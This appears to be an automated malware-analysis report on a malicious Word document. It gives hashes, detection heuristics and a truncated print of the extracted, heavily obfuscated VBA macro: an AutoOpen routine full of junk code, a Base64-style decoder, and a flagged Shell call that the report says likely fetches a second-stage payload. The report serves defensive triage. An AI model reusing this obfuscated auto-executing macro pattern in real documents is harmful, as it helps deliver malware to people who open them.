Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9611223d86b957dd…

MALICIOUS

Office (OLE)

287.5 KB Created: 2017-06-27 22:11:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: 7d231a15c49e2a9ff6efbfa875a3312e SHA-1: 3cf741cecadcb8a62a3e4bdc3da32d1239390919 SHA-256: 9611223d86b957dd8abaa4cf3e9792364aee48f89ffaa329895e856211ff0d4a
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro is present and attempts to execute code, indicated by the OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic. The presence of the 'Shell' call within the VBA code suggests an intent to execute arbitrary commands, likely to download and run a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
Call Shell(PmHWBV, jd8HUv)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "muxLEvtJ9"
Sub AutoOpen()
CVf4jkyZX = 314 - 122
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 85753 bytes
SHA-256: 8fb353c313893581add01690cec53de1afe1673edcea474840fe3dc079d3c274
Detection
ClamAV: No threats found
Obfuscation or payload: likely
949 of 1877 identifiers look randomly generated (e.g. 'vbWUuY28udWsvY2tyai8saHR0cDovL2JyZW5kYW5') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "muxLEvtJ9"
Sub AutoOpen()
CVf4jkyZX = 314 - 122
If CVf4jkyZX = -3693 + 3700 Then
NadMloe = yXJO2si
End If
QYel0P = QYel0P & NadMloe
cT138eNKW = 6188 / 91
Select Case cT138eNKW
Case -3693 + 3700
qfmxV = -1807264554
Case 21398 / 823
qoImSiv = 65460.977843547
End Select
sJ9bwFHW = 314 - 122
If sJ9bwFHW = -3693 + 3700 Then
otvdro = 59253.14359733
ElseIf sJ9bwFHW = 21398 / 823 Then
xoThgMq = 51
Else
Ny5Po4NG = 7686
End If
lpISoQafl = otvdro & xoThgMq & Ny5Po4NG
QoOq3KJPS = 314 - 122
If QoOq3KJPS = -3693 + 3700 Then
zQnGTgx = IZyeQH9o
Else
YWD16 = 107
End If
U0aGkb = zQnGTgx & YWD16
C5VgIpC = 6188 / 91
Select Case C5VgIpC
Case -3693 + 3700
gKdhOBy8C = 12
Case 21398 / 823
YXR65cxF = aj8JlA7n
End Select
dr0Pb = 2 * 13
Select Case dr0Pb
Case -826 + 831
Bn3DvsUf = 43
Case -1419 + 1435
M8qylF6 = 43
Case -71 + 113
IuaUgd = False
End Select
CwbvY = 29150 / 50
If CwbvY = -826 + 831 Then
y9tIjsF3 = -1821
ElseIf CwbvY = -1419 + 1435 Then
cuyPvV = 0
Else
Z4b1JE = 9725.066423879
End If
hVGHwd = y9tIjsF3 & cuyPvV & Z4b1JE
yh4Sf2FJ = 2 * 13
Select Case yh4Sf2FJ
Case -826 + 831
AszYJoN = 53446.039941614
End Select
SW6gifJOK = 2 * 13
Select Case SW6gifJOK
Case -826 + 831
YK5cx = False
Case -1419 + 1435
gHYsroQjh = False
Case -71 + 113
q90DzNk8 = False
Case Else
ki7ZBGdx = False
End Select
t70DTwrgP = -867 + 901
Select Case t70DTwrgP
Case 27465 / 1831
GSo91i = 25044
Case -644 + 676
drAnwV5Z = 98
Case -243 + 300
fqfMeL = 25044
End Select
MtVbLi20 = -867 + 901
Select Case MtVbLi20
Case 27465 / 1831
OYHBL = 18901.342363449
Case -644 + 676
xabDmREx = fvHSj8tbo
Case -243 + 300
SiojA30 = 18901.342363449
End Select
iiHhFDPRC = -867 + 901
Select Case iiHhFDPRC
Case 27465 / 1831
aNnCVg9 = 219
Case -644 + 676
JnZsjhKx = 219
Case -243 + 300
dfQpqS5 = 219
End Select
vFz2DUvy = 134 - 37
If vFz2DUvy = -4272 + 4278 Then
OUYFpIECA = NSj5Ze6Ox
End If
GO1bcrXqk = GO1bcrXqk & OUYFpIECA
GJdsH9bZ = 134 - 37
If GJdsH9bZ = -4272 + 4278 Then
he5q74TQL = 836.46353173999
ElseIf GJdsH9bZ = 31460 / 1573 Then
BCAlv4hp = dpma51IL
Else
hAckvX = 61
End If
O703bZXT = he5q74TQL & BCAlv4hp & hAckvX
mit53yQPr = 134 - 37
If mit53yQPr = -4272 + 4278 Then
sKDEgYQB = 182
End If
mL6lmW = mL6lmW & sKDEgYQB
idohXF = 6930 / 693
Select Case idohXF
Case 24246 / 4041
liUSHL = True
Case 2688 / 112
uFQ5WZj = True
Case 309 - 275
tYo7Fs5f = -8383
End Select
MilRot3 = 6930 / 693
Select Case MilRot3
Case 24246 / 4041
CcORiFl = 0
End Select
K3cK4 = 6930 / 693
Select Case K3cK4
Case 24246 / 4041
KuScOTb = False
Case 2688 / 112
RNabdmAi = 244
Case 309 - 275
pIhFjwG1S = URbcLykE
End Select
K3ukRMX = -21 + 67
If K3ukRMX = 24246 / 4041 Then
OAMmGVte = 29037.551038727
ElseIf K3ukRMX = 2688 / 112 Then
WJjHKS7Y = True
Else
JaH2mUgl = 0
End If
dIYOVD4 = OAMmGVte & WJjHKS7Y & JaH2mUgl
ETfil = -722 + 756
Select Case ETfil
Case 578 - 562
MKlbIP25U = 27
Case 832 / 32
MSnxObd = -4309
Case 30120 / 753
YDl9smt = -4309
Case Else
yzJonKYS = 0
End Select
Tv4wQ = -722 + 756
Select Case Tv4wQ
Case 578 - 562
LezBn0dV = -819957670
End Select
EingTZMw = -722 + 756
Select Case EingTZMw
Case 578 - 562
VqnVT = 32826.948397642
Case 832 / 32
Y9W4oD = 213
Case 30120 / 753
Ric1mNHMP = 0
Case Else
AC8yUr = True
End Select
ZcKwAfFxI = -722 + 756
Select Case ZcKwAfFxI
Case 578 - 562
MYsMH = 42356.525565918
End Select
wB0SHex83 = 126 + 85
If wB0SHex83 = -3261 + 3267 Then
Xhqixd3ct = -1571981814
End If
GT5Pj = GT5Pj & Xhqixd3ct
jdTAvkoU = 23936 / 1088
Select Case jdTAvkoU
Case -3261 + 3267
Xf9FQsL = False
Case -489 + 510
xKsTRH = CAuT3ReO
End Select
Zu0jRP = 23936 / 1088
Select Case Zu0jRP
Case -3261 + 3267
o0Q2CtSID = -1051202908
End Select
AdC8Hriat = 23936 / 1088
Select Case AdC8Hriat
Case -3261 + 3267
hJDrhI = 28174
End Select
PmNq9y = -64 + 157
Select Case PmNq9y
Case 125 - 116
Me9E86G = False
Case -144 + 161
xoH2W = -6623
Case 579 - 526
PmCL1Bhd = -6623
End Select
P1DYtnB = 26800 / 80
If P1DYtnB = 125 - 116 Then
Lilv8RuBE = fHmqbeMp
End If
fvRAFLzdf = fvRAFLzdf & Lilv8RuBE
d052u4Dx = -64 + 157
Select Case d052u4Dx
Case 125 - 116
J2sen = False
End Select
IcYFUtXg = -64 + 157
Select Case IcYFUtXg
Case 125 - 116
GhVkd9aX8 = yMPnBb
End Select
MUctkA = 7540 / 116
Select Case MUctkA
Case -2341 + 2344
NeSkTAFbj = 45
End Select
SlsXM = 7540 / 116
Select Case SlsXM
Case -2341 + 2344
tRjL2qtO = 25905.159968833
Case 27860 / 1393
JFhPwAqC = True
Case 759 - 726
uc9AwOSkt = -31071
Case Else
IJtxV3U = -110098672
End Select
CqmoYF = 756 - 29
If CqmoYF = -2341 + 2344 Then
gYbgxp = WvE4Rra
Else
YBEgdH = 0
End If
yHb7w = gYbgxp & YBEgdH
vikYfZAt = 756 - 29
If vikYfZAt = -2341 + 2344 Then
OaPi6IZzC = False
Else
OXeP0 = 0
End If
NGzNmX = OaPi6IZzC & OXeP0
hdcBu = 17577 / 189
Select Case hdcBu
Case 15984 / 2664
ruFGN7 = 23869.98759896
Case 417 - 385
x4OPqVLs = 22025.584662199
End Select
odBpmHu5J = 17577 / 189
Select Case odBpmHu5J
Case 15984 / 2664
e84rYo = 34048.79096236
Case 417 - 385
QldIBRUEA = 28
Case 856 - 817
ZVGPTxX = 0
Case Else
uR4ym = 34048.79096236
End Select
cJ4F58 = 829 - 37
If cJ4F58 = 15984 / 2664 Then
PVnPr = 67
End If
iY4Gcrwbe = iY4Gcrwbe & PVnPr
l209k1 = 17577 / 189
Select Case l209k1
Case 15984 / 2664
ZFms2 = True
Case 417 - 385
acCQfDIZ = 36750.305721725
Case 856 - 817
ymTSHb = 36750.305721725
Case Else
Zx5rd = 68
End Select
YBPN5 = 17577 / 189
Select Case YBPN5
Case 15984 / 2664
kPh4d8 = False
End Select
Lzoldjy = -100 + 174
Select Case Lzoldjy
Case -3419 + 3426
L3Kpmb = 7628.4439401948
Case -1389 + 1412
jIq98R = 7628.4439401948
End Select
AFs7JIeE = 454 * 2
If AFs7JIeE = -3419 + 3426 Then
BtKTv8mJ = 0
ElseIf AFs7JIeE = -1389 + 1412 Then
uqYrp = 32397
Else
W1PgjDoey = 188
End If
qfucBw = BtKTv8mJ & uqYrp & W1PgjDoey
lIdADxb7f = 454 * 2
If lIdADxb7f = -3419 + 3426 Then
anLOk = -13477
ElseIf lIdADxb7f = -1389 + 1412 Then
dwz4eYW = -13477
Else
uCpxD = 3660.7742417508
End If
rMJOV0 = anLOk & dwz4eYW & uCpxD
QfSUAhxTX = -100 + 174
Select Case QfSUAhxTX
Case -3419 + 3426
SFRL29rEX = 52350.669632629
Case -1389 + 1412
RL9FC = 0
Case 1764 / 28
lE06Bxm = -4491
Case Else
ZoRbfk9 = 44853.356370227
End Select
cEv81 = 32635 / 305
Select Case cEv81
Case 7144 / 893
tvt6pF1S = eqml8DM1
Case -881 + 910
j59eF0z = 36129.547873496
End Select
LnJXbPY = 32635 / 305
Select Case LnJXbPY
Case 7144 / 893
gOaPx4 = 87
Case -881 + 910
TmyPsQ = False
Case 3834 / 71
iJsaSU = 36900.965353182
Case Else
sxGDr08 = 36900.965353182
End Select
KjMC3zIw0 = 85 + 101
If KjMC3zIw0 = 7144 / 893 Then
Sq4mMa = 28579.140723762
End If
KDNLK = KDNLK & Sq4mMa
XxBhKT6P = 32635 / 305
Select Case XxBhKT6P
Case 7144 / 893
Hjfg9quPD = 40255.546947413
End Select
nGXWVk = 32635 / 305
Select Case nGXWVk
Case 7144 / 893
xk2E9 = jCGK1
Case -881 + 910
l1TEtXnLS = 18239
End Select
VkhS9 = 131 + 76
If VkhS9 = -5293 + 5298 Then
BlAwo = 49081.638126921
ElseIf VkhS9 = 381 - 353 Then
wupvXfRM0 = True
Else
tjqEp3aCD = 0
End If
MhnTcWmD = BlAwo & wupvXfRM0 & tjqEp3aCD
uF69zfklc = 361 - 260
Select Case uF69zfklc
Case -5293 + 5298
FAL13S = 0
Case 381 - 353
LQefC7 = 0
Case 8442 / 201
m86maR = Q7wSlf
Case Else
UVeUi6 = 28981.42759549
End Select
FHGDdOBp = 361 - 260
Select Case FHGDdOBp
Case -5293 + 5298
AqJd9 = 30651.404417096
Case 381 - 353
WxGyXVuLb = xAEm3njgC
End Select
PcKEDVwY
crtFByiC = -48 + 104
Select Case crtFByiC
Case -8307 + 8310
lVmWdBCST = 239
Case 15700 / 628
Kuci5oQ4 = False
Case 842 - 803
sxRTG8C0F = 22481.268151023
End Select
W6C1vEGse = -48 + 104
Select Case W6C1vEGse
Case -8307 + 8310
YIopk = False
Case 15700 / 628
eOH7nb = 26010.135207033
End Select
ohKkGmS9 = 524 + 28
If ohKkGmS9 = -8307 + 8310 Then
HZ6JUK = True
ElseIf ohKkGmS9 = 15700 / 628 Then
Oyd2h9YD = 65188.15036467
Else
pOVbC = 59966.289106935
End If
vuJiIsc = HZ6JUK & Oyd2h9YD & pOVbC
vX4ES = 524 + 28
If vX4ES = -8307 + 8310 Then
iZBNtFR = 33094.35918046
Else
uoOLby = KqHMiz6s
End If
oX83Lx = iZBNtFR & uoOLby
Vr9TKHiN = 970 + 6
If Vr9TKHiN = -1858 + 1870 Then
jk5StcDw = 1859.3472739249
Else
UFl1T4 = 29041
End If
cgtBKyVE = jk5StcDw & UFl1T4
Ruei2kYHm = 307 - 291
Select Case Ruei2kYHm
Case -1858 + 1870
iRULmc = 21554
Case 20592 / 858
TeQ3ivuj = False
Case 29680 / 742
OgEbC = sXSE5j69
Case Else
dLaDhpt = sXSE5j69
End Select
RTBXl3 = 970 + 6
If RTBXl3 = -1858 + 1870 Then
SkSiyq1x = 13403
ElseIf RTBXl3 = 20592 / 858 Then
XPEeugH = 13403
Else
wIS4PAO8 = wtOCSsh
End If
eciGZR = SkSiyq1x & XPEeugH & wIS4PAO8
YRjy6oa = 970 + 6
If YRjy6oa = -1858 + 1870 Then
eJHsMI = 0
ElseIf YRjy6oa = 20592 / 858 Then
nXaMqN2UR = False
Else
GphiT = False
End If
sc7GKhBCe = eJHsMI & nXaMqN2UR & GphiT
Db2FZBwI = 259 - 224
Select Case Db2FZBwI
Case 3462 - 3457
RejH9y = sksW0AIh5
Case 1104 / 69
WjxON = sksW0AIh5
End Select
T0hAE9 = 259 - 224
Select Case T0hAE9
Case 3462 - 3457
XIZRNjxF = 245
End Select
n0GWl = 259 - 224
Select Case n0GWl
Case 3462 - 3457
hjJH0NU5r = True
Case 1104 / 69
qHRosl1fd = True
End Select
p2fyIDA = 259 + 4
If p2fyIDA = 3462 - 3457 Then
yLNOHG = 13712
ElseIf p2fyIDA = 1104 / 69 Then
CQc4dV86z = 1339.3418583436
Else
wVUP9wo = 49615.975263902
End If
WwWqLu = yLNOHG & CQc4dV86z & wVUP9wo
e4DBYhf2 = 259 + 4
If e4DBYhf2 = 3462 - 3457 Then
yR9pDn = 21206
ElseIf e4DBYhf2 = 1104 / 69 Then
KG3PI = False
Else
lnGS2Q = 58395.829171611
End If
pAzSJlt9 = yR9pDn & KG3PI & lnGS2Q
cos1W4x = -1532 + 1541
Select Case cos1W4x
Case 23760 / 1584
fqi1TOj = 21367.799332309
Case 1330 - 1312
XRHgKJY4 = 2732
Case 351 - 317
L2msa = 2732
Case Else
DnlcO = 21367.799332309
End Select
aAWZHhi3 = -1532 + 1541
Select Case aAWZHhi3
Case 23760 / 1584
HMhDJ02 = -921127508
End Select
IjQZIDA = -1532 + 1541
Select Case IjQZIDA
Case 23760 / 1584
b7xDSQf = True
Case 1330 - 1312
qufEsKNpD = -2058878536
Case 351 - 317
mRzYMH = -2058878536
End Select
EgPDdq = -1532 + 1541
Select Case EgPDdq
Case 23760 / 1584
pVjHcE = 33447.284987639
Case 1330 - 1312
rJVAcRmGe = -1075123686
Case 351 - 317
nS7wqDuRW = -20424
End Select

dfgqd3K = -645 + 677
Select Case dfgqd3K
Case 713 - 705
g6uen = 174
End Select
SMwVjs7H = 978 - 22
If SMwVjs7H = 713 - 705 Then
S3HyAcfV = 31069
Else
S0WEqH = True
End If
iTzyGgw = S3HyAcfV & S0WEqH
SMybrHO = -645 + 677
Select Case SMybrHO
Case 713 - 705
tV6W72ZcK = JryAp
Case -19 + 39
NiA9LB = 68
Case 129 - 78
zWuhs = 64978.658499449
Case Else
sidBpV6 = JryAp
End Select
A3MSetaR = 978 - 22
If A3MSetaR = 713 - 705 Then
KFWwgNxhj = 49133.087385983
Else
WOtNFVG = False
End If
EoUrw8hD = KFWwgNxhj & WOtNFVG
NNgcdn = 436 + 38
If NNgcdn = 13456 / 3364 Then
dKRLGT = 9
ElseIf NNgcdn = 617 - 587 Then
OQ5mKahNI = 176
Else
SEH6T = 176
End If
aKts9Tw = dKRLGT & OQ5mKahNI & SEH6T
GwVZheqB = 199 - 104
Select Case GwVZheqB
Case 13456 / 3364
PuPzZ = 0
Case 617 - 587
qydnQz8xG = 30366.910276323
Case 371 - 330
kItPcz = 43044.241561736
End Select
uXSzJPF = 436 + 38
If uXSzJPF = 13456 / 3364 Then
BIKZbmH7C = False
ElseIf uXSzJPF = 617 - 587 Then
IBUT84t = False
Else
KQn9Pq = 49717.623617962
End If
MFgSwWDo = BIKZbmH7C & IBUT84t & KQn9Pq
bXwdb5r2N = 199 - 104
Select Case bXwdb5r2N
Case 13456 / 3364
uBbrn3G = 59134.430836443
Case 617 - 587
wIxifb = Vq2UZ
Case 371 - 330
tUWJgNDa = 4278.3813811349
End Select
Bx6fD = 125 + 79
If Bx6fD = -3295 + 3301 Then
rUH5yp = True
ElseIf Bx6fD = 19803 / 861 Then
TXc4me5 = 32961.760003891
Else
sWUiY = True
End If
rZI8dH7 = rUH5yp & TXc4me5 & sWUiY
PeouMG = 2791 - 2783
Select Case PeouMG
Case -3295 + 3301
fZctkrKi9 = 35528.182216462
Case 19803 / 861
E5fQ4XshR = 10756.261837558
Case 9263 / 157
Zf9mpEs = WVs3M
Case Else
cL9JbpD = 0
End Select
RzMbpE = 125 + 79
If RzMbpE = -3295 + 3301 Then
NfEgVGIq = True
Else
kUMrVIZWT = 61287.076545164
End If
g9lkHmY = NfEgVGIq & kUMrVIZWT
End Sub

Attribute VB_Name = "ccp31"
Private Const OaMOKJr6z = 16711608 + 72
Private Const veBCFagV = 59303 + 5977
Private Const FVYd90UT = 4080 / 16
Private Const wEezOpU = 269896 - 7752
Private Const Yfi5n = 4089 + 7
Private Const Op9EKe = 311 - 247
Private Const EPRyjA = 241 + 15
Private Const hbJGZF = 61118 + 4418
Public Function g95ude(iI17ot8w As String) As String
Dim boXLqE() As Byte
Dim k5dKsX() As Byte
Dim zG2jxPk(255) As Byte
Dim DhvCT6o(63) As Long
Dim lAOC765(63) As Long
Dim sX7DbPza(63) As Long
Dim Oqkljz8 As Long
Dim EgcF76 As Integer
Dim lChar As Long
Dim lPos As Long
Dim sOut As String
Dim oPXYE As Long
wnECO = 13608 / 243
Select Case wnECO
Case 626 - 610
asCpKI = 51724.644133923
Case -930 + 949
cIojp = 26060
Case 19220 / 310
TMGta = True
Case Else
jqR8IgfnP = 0
End Select
LKe7m = 762 + 28
If LKe7m = 626 - 610 Then
UIfpL = 5508.7203679513
End If
BFXD3z = BFXD3z & UIfpL
EioVn = 762 + 28
If EioVn = 626 - 610 Then
q1F5S = -1417463162
ElseIf EioVn = -930 + 949 Then
A9Kjx = 8646
Else
NSbBRaGr = 150
End If
agFxesAm = q1F5S & A9Kjx & NSbBRaGr
OeVISj4 = 15008 / 16
If OeVISj4 = 3225 - 3219 Then
GO0Hlgik3 = 0
ElseIf OeVISj4 = 22048 / 689 Then
Z5Xf8PT = E8hLpzE
Else
aoIptKW = True
End If
dmFbI5P = GO0Hlgik3 & Z5Xf8PT & aoIptKW
eDx4ANhUX = 23516 / 5879
Select Case eDx4ANhUX
Case 3225 - 3219
h9ZEJT = 41654.27771747
Case 22048 / 689
F1XpT = 0
Case -368 + 422
QLaym = 41654.27771747
End Select
qC7Do = 23516 / 5879
Select Case qC7Do
Case 3225 - 3219
kgayTQGW8 = 600.7042443521
Case 22048 / 689
HfVaT = -668
Case -368 + 422
USgChoT = 0
Case Else
g6pEiQ = 247
End Select
GacRuX6 = 23516 / 5879
Select Case GacRuX6
Case 3225 - 3219
GaXpgvd = 0
Case 22048 / 689
B4DlEZVxv = 49200.883564021
End Select
B6L7B = 23516 / 5879
Select Case B6L7B
Case 3225 - 3219
zMojIl5 = -11809
Case 22048 / 689
EPcXH = 64097.676129791
Case -368 + 422
jMRng = kslY8C7P9
End Select
wXOHs69S = 915 + 33
If wXOHs69S = -1592 + 1597 Then
ImRQl = True
End If
prcZ9Js = prcZ9Js & ImRQl
bRV84IAG = -327 + 397
Select Case bRV84IAG
Case -1592 + 1597
csfSDlr = 24916.874729193
Case 8586 / 318
mwjT2kZ = SUu9l7na
Case -69 + 106
xSFrvhEyz = 51585.168993971
Case Else
EHQKRCWa = -1062710394
End Select
SVgP7 = -327 + 397
Select Case SVgP7
Case -1592 + 1597
tgrjRC3o = 62896.971243597
Case 8586 / 318
f31xz = -22641
Case -69 + 106
ptN5bcB = 62896.971243597
End Select
iI17ot8w = Replace(iI17ot8w, vbCr, vbNullString)
k2Ym17z = 575 * 1
If k2Ym17z = 1712 - 1699 Then
Z31AMDXc = wn4htXFW
End If
fyTIqQJ = fyTIqQJ & Z31AMDXc
p8WxID = -133 + 248
Select Case p8WxID
Case 1712 - 1699
oZWko4qd = ta1jKN0we
Case -61 + 80
Md3ZQyIW = 45804.083862846
Case 193 - 160
csXkcg4 = 16149
End Select
Ty057PGo = 575 * 1
If Ty057PGo = 1712 - 1699 Then
AngOz = False
End If
SafW6xG = SafW6xG & AngOz
fHYxEyaf = -133 + 248
Select Case fHYxEyaf
Case 1712 - 1699
cje2F = 31323.798533257
Case -61 + 80
Yoavm = 10343.548061662
Case 193 - 160
ProX8B = 10343.548061662
Case Else
lNj4rCdk = 31323.798533257
End Select
bh2PASv = 414 - 312
If bh2PASv = -362 + 374 Then
q3TC2y = 47920.029721635
ElseIf bh2PASv = 509 - 491 Then
ycyJOzknK = 30504
Else
ricH9RyQW = 221
End If
EKNnBQrS = q3TC2y & ycyJOzknK & ricH9RyQW
tJX0Kvma = 233 - 129
Select Case tJX0Kvma
Case -362 + 374
Ap5l9 = 0
Case 509 - 491
Myoxq = 21
End Select
CMVTR = 414 - 312
If CMVTR = -362 + 374 Then
Oi0NqytR = 74
Else
iE2lFA = 0
End If
r7C1PSA6 = Oi0NqytR & iE2lFA
b7ySEmqn = 414 - 312
If b7ySEmqn = -362 + 374 Then
rsAwl9 = -1622300798
End If
Gc5NQ = Gc5NQ & rsAwl9
iI17ot8w = Replace(iI17ot8w, vbLf, vbNullString)
FtY9uJ6AB = 24456 / 6114
Select Case FtY9uJ6AB
Case -2326 + 2340
W1E2qGp = -1009051698
Case 781 - 754
YmEs2 = False
Case 29925 / 665
Z7agO = 26221.702449579
Case Else
b69NCq = Koe6DBAkh
End Select
O5t4oLDaQ = 24456 / 6114
Select Case O5t4oLDaQ
Case -2326 + 2340
XB6aj8 = True
Case 781 - 754
YBWEiPSK = 36054.667269675
End Select
FzxemJ = 24456 / 6114
Select Case FzxemJ
Case -2326 + 2340
Zpkj9i0 = -27992
Case 781 - 754
EeXwx85Mn = 0
Case 29925 / 665
NVXm6Nv = 135
End Select
s7AZ92O = 29624 / 56
If s7AZ92O = -2103 + 2113 Then
sFzps = 54843.228102111
End If
nKchmXI = nKchmXI & sFzps
o57du = 15015 / 385
Select Case o57du
Case -2103 + 2113
BLYOc8w = 25528
End Select
mnRSCfMOu = 15015 / 385
Select Case mnRSCfMOu
Case -2103 + 2113
YR6Xq5V = wm8VH1
Case -438 + 468
s8uhCQ = 61659.711097553
Case -212 + 252
leMb7pBv = 36752.84560003
End Select
oPXYE = Len(iI17ot8w) Mod 4
POhJo = 18379 - 18378
If POhJo = 14147 / 2021 Then
Rz14t8 = 34781.714277404
ElseIf POhJo = -194 + 224 Then
BelzU1t = 28137
Else
Q75U3gy = True
End If
vkmzZ1 = Rz14t8 & BelzU1t & Q75U3gy
hRKHI = 18379 - 18378
If hRKHI = 14147 / 2021 Then
Mg3u9QVL = True
End If
CNmMvVU = CNmMvVU & Mg3u9QVL
E59Imdn = 18379 - 18378
If E59Imdn = 14147 / 2021 Then
eh5FQ = 36565.955990634
End If
HPCcWOY = HPCcWOY & eh5FQ
kwCrm0Lcq = 9222 / 106
Select Case kwCrm0Lcq
Case 1069 - 1053
GcJ5Ll = 7584
Case 258 - 228
XM2i5E = BLyc02
Case 640 / 16
pVrQS = 0
End Select
soqi5IVM = 9222 / 106
Select Case soqi5IVM
Case 1069 - 1053
frVc5K = 55673.944696878
End Select
KTcIlzxXd = 790 + 11
If KTcIlzxXd = 1069 - 1053 Then
ELxZH = 43
ElseIf KTcIlzxXd = 258 - 228 Then
HS3Hmwjq = True
Else
cAYOHL1E = 42515.669504179
End If
tb9QI = ELxZH & HS3Hmwjq & cAYOHL1E
oDtlSYCsX = 790 + 11
If oDtlSYCsX = 1069 - 1053 Then
voS7yb = 10055.193414505
ElseIf oDtlSYCsX = 258 - 228 Then
dYCW4D07q = 0
Else
b64GxtZ1 = 89
End If
hcUuO = voS7yb & dYCW4D07q & b64GxtZ1
b5Nthj = 690 - 43
If b5Nthj = 3479 - 3473 Then
z0azO7ZVd = Pvf3R9
ElseIf b5Nthj = 2912 / 112 Then
amHqK = -1775082346
Else
vs0f9vWO2 = 44454.54204082
End If
GoaAnH = z0azO7ZVd & amHqK & vs0f9vWO2
hxsauD48 = -97 + 184
Select Case hxsauD48
Case 3479 - 3473
gmeMBiHIa = 0
Case 2912 / 112
mX6ie3 = X1noryx
Case 193 - 151
PdF97nrU = 28719
End Select
SDaBVxW = -97 + 184
Select Case SDaBVxW
Case 3479 - 3473
C2DF8dNoW = 18355.308230561
End Select
If InStrRev(iI17ot8w, "==") Then
pFfn0N6d = 122 - 59
Select Case pFfn0N6d
Case -752 + 762
PvOU1lH = 22
Case 828 - 806
EJsS86LDx = False
End Select
KSDy1eJa = 13498 / 17
If KSDy1eJa = -752 + 762 Then
go4IaOwhJ = -6399
End If
ofMUGT = ofMUGT & go4IaOwhJ
sWybfV2a1 = 122 - 59
Select Case sWybfV2a1
Case -752 + 762
bNJlt = 60512.770407084
Case 828 - 806
mh7dsnM = 60512.770407084
End Select
a8RcBW = 122 - 59
Select Case a8RcBW
Case -752 + 762
eFE8qU = -21454
End Select
rlHwED = 122 - 59
Select Case rlHwED
Case -752 + 762
gnSh7 = True
Case 828 - 806
EEh1A = 0
Case -420 + 454
wquOY = 7790.6527121447
Case Else
GJLfAYPMi = 30492
End Select
XbMuCFT = 23140 / 260
Select Case XbMuCFT
Case -5890 + 5895
ixQEVBZ = 77
Case 2800 / 112
QCNJF = -1068870490
Case 223 - 179
KSgGzc1qI = 40203.095903073
Case Else
TuGsWVoXP = -1068870490
End Select
mdcl5 = 23140 / 260
Select Case mdcl5
Case -5890 + 5895
aFGLCj4 = 0
Case 2800 / 112
Sr9gylLSx = aNj8yVRA
Case 223 - 179
xVqMiWjCx = 233
End Select
AMN3j2 = 170 + 52
If AMN3j2 = -5890 + 5895 Then
D2m6Ba9 = False
End If
Zse4j = Zse4j & D2m6Ba9
AxH3sh10 = 1806 / 2
If AxH3sh10 = -399 + 414 Then
…

Open this report in the interactive analyzer, or submit your own file for analysis.